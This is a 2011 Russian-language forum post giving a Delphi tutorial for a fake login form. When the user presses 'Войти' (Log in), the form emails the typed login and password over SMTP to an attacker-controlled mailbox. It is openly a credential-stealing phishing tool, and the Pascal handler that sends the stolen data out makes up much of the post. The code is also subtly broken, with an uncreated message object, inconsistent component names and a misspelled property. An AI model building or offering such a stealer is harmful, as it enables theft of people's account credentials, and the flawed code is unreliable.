# | Сообщение добавлено 16.09.2011 18:24:02
Здравствуйте.
Все очень просто.
Создайте почтовый ящик. Письма будут отправляться с него. Далее я буду называть этот почтовый ящик "X". Почтовый ящик, куда должен быть слит пароль и логин я буду называть ящиком Y.
Создайте форму с кнопкой button1 и двумя текстовыми полями Edit1 и Edit2. И то и другое на вкладке "Standart" палитры компонентов.
Отчистите свойства Text у обоих Edit, а у Button1 в свойство Caption напишите "Войти". Доработайте дизайн программы так, как Вам нравится.
Далее перенесите на форму компонент idSMTP со вкладки Indy Clients палитры инструментов. Заполните его свойства следующим образом:
1)Port 25
2)Host smtp.домен ящика X (Например если мой ящик X - hackzone.yandex.ru, то я пишу "smtp.yandex.ru").
3)AuthenticationType atLogin
4)Username Логин к ящику X
5)Password Пароль к ящику X
Теперь к программированию:
Создайте обработчик OnClick для кнопки "Войти". В нем напишите:
var
Msg: TIdMessage;
begin
Msg.Subject:='тема сообщения';
Msg.Recipients.EMailAddresses:='Адрес ящика Y полностью';
Msg.From.Adress:='Адрес ящика X полностью';
Msg.Body.Text:='Логин:'+Edit1.Text+'; Пароль:'+Edit2.Text;
Msg.Date:=StrToDate('Дата отправки письма (может быть любой) в формате ДД:ММ:ГГГГ');
IdSMTP1.Connect;//Подключаемся к серверу
IdSMTP1.Send(MSG);//Отправляем письмо
IdSMTP.Disconnect;//Отключаемся
end;
Вот и все. Конечно моя министатья не учитывает ряд нюансов, таких как возникновение ошибок или совместимость со старыми версиями Delphi. Если Вас интересуют эти вопросы Вы можете обратиться ко мне через EMail:
rgstalker7@gmail.com Ахтунг! Собакирен мит зубен клац, клац! Зубен зи дойч!
Разместить рекламу 
